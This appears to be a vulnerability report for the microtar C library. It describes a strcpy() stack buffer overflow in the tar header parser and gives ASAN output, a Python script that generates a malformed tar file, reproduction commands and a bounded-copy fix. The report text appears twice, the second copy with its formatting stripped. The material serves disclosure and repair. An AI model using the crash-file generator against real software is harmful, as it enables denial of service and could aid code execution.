Summary
raw_to_header() in microtar.c uses strcpy() to copy the name and linkname fields from the raw tar header into mtar_header_t. In the POSIX tar format, these are fixed-size 100-byte fields that are not required to be NUL-terminated when the full 100 bytes are used. This causes strcpy() to read past the field boundary, resulting in a stack buffer overflow.
CWE: CWE-121 (Stack-based Buffer Overflow)
Note: This is distinct from #23, which reports a buffer overflow in the write path (header_to_raw / sprintf). This issue is in the read/parse path (raw_to_header / strcpy), triggered by opening a crafted tar file.
Vulnerable Code
// microtar.c:111-112 (in raw_to_header)
strcpy(h->name, rh->name);
strcpy(h->linkname, rh->linkname);
The raw header struct layout means:
rh->name[100] is followed by mode[8], owner[8], group[8], size[12], mtime[12], checksum[8], type, linkname[100], _padding[255] — if name has no NUL byte, strcpy reads up to 412 bytes into a 100-byte destination
rh->linkname[100] is followed by _padding[255] — if linkname has no NUL byte, strcpy reads up to 355 bytes into a 100-byte destination
Impact
Any program that opens an untrusted tar file via mtar_open() or mtar_read_header() is vulnerable. The attacker controls the overflow content via the tar file. Stack buffer overflows of this size (up to 255+ bytes past the buffer) can overwrite return addresses and enable arbitrary code execution.
Proof of Concept
A minimal PoC tar file: set linkname to 100 non-NUL bytes and _padding to 255 non-NUL bytes, with a valid checksum. Opening this file triggers the overflow in strcpy(h->linkname, rh->linkname).
ASAN output:
==9==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff0c3ee170
READ of size 362 at 0x7fff0c3ee170 thread T0
#0 in strcpy
#1 in raw_to_header /build/microtar/src/microtar.c:112:3
#2 in mtar_read_header /build/microtar/src/microtar.c:286:10
#3 in mtar_open /build/microtar/src/microtar.c:199:11
#4 in main /build/microtar_driver.c:17:15
PoC generator (Python)
#!/usr/bin/env python3
"""Generate PoC: linkname overflow in microtar raw_to_header()"""
import struct, os
def compute_checksum(header_bytes):
total = 0
for i in range(512):
if 148 <= i < 156:
total += ord(' ')
else:
total += header_bytes[i]
return total
header = bytearray(512)
# name - valid, NUL-terminated
name = b"normal_file.txt"
header[0:len(name)] = name
# mode, owner, group, size, mtime - valid with NUL
header[100:108] = b'0000644\x00'
header[108:116] = b'0001000\x00'
header[116:124] = b'0001000\x00'
header[124:136] = b'00000000000\x00'
header[136:148] = b'14217067357\x00'
header[148:156] = b' '
# type - symlink
header[156] = ord('2')
# linkname[100] - all 'B', NO NUL terminator
header[157:257] = b'B' * 100
# _padding[255] - all 'C' (non-NUL) to maximize overflow
header[257:512] = b'C' * 255
# Compute and set checksum (iterate to convergence)
for _ in range(5):
chksum = compute_checksum(header)
chksum_str = f"{chksum:06o}\x00 "
header[148:156] = chksum_str.encode('ascii')[:8]
with open("linkname_overflow.tar", "wb") as f:
f.write(bytes(header))
print("Generated linkname_overflow.tar")
Reproduction
# Compile with ASAN
clang -g -O1 -fsanitize=address,undefined -fno-sanitize=function \
-I microtar/src -o microtar_asan driver.c microtar/src/microtar.c
# Run with PoC
./microtar_asan linkname_overflow.tar
# -> ASAN crash: stack-buffer-overflow
Suggested Fix
Replace strcpy() with bounded copies:
// Replace lines 111-112 with:
memcpy(h->name, rh->name, sizeof(rh->name));
h->name[sizeof(h->name) - 1] = '\0';
memcpy(h->linkname, rh->linkname, sizeof(rh->linkname));
h->linkname[sizeof(h->linkname) - 1] = '\0';
Additional Note
The sscanf() calls on rh->checksum, rh->mode, rh->owner, rh->size, and rh->mtime have the same class of issue — these fixed-size fields may not be NUL-terminated, and sscanf will read past the field boundary.
Summary
raw_to_header()inmicrotar.cusesstrcpy()to copy thenameandlinknamefields from the raw tar header intomtar_header_t. In the POSIX tar format, these are fixed-size 100-byte fields that are not required to be NUL-terminated when the full 100 bytes are used. This causesstrcpy()to read past the field boundary, resulting in a stack buffer overflow.CWE: CWE-121 (Stack-based Buffer Overflow)
Note: This is distinct from #23, which reports a buffer overflow in the write path (
header_to_raw/sprintf). This issue is in the read/parse path (raw_to_header/strcpy), triggered by opening a crafted tar file.Vulnerable Code
The raw header struct layout means:
rh->name[100]is followed bymode[8],owner[8],group[8],size[12],mtime[12],checksum[8],type,linkname[100],_padding[255]— ifnamehas no NUL byte,strcpyreads up to 412 bytes into a 100-byte destinationrh->linkname[100]is followed by_padding[255]— iflinknamehas no NUL byte,strcpyreads up to 355 bytes into a 100-byte destinationImpact
Any program that opens an untrusted tar file via
mtar_open()ormtar_read_header()is vulnerable. The attacker controls the overflow content via the tar file. Stack buffer overflows of this size (up to 255+ bytes past the buffer) can overwrite return addresses and enable arbitrary code execution.Proof of Concept
A minimal PoC tar file: set
linknameto 100 non-NUL bytes and_paddingto 255 non-NUL bytes, with a valid checksum. Opening this file triggers the overflow instrcpy(h->linkname, rh->linkname).ASAN output:
PoC generator (Python)
Reproduction
Suggested Fix
Replace
strcpy()with bounded copies:Additional Note
The
sscanf()calls onrh->checksum,rh->mode,rh->owner,rh->size, andrh->mtimehave the same class of issue — these fixed-size fields may not be NUL-terminated, andsscanfwill read past the field boundary.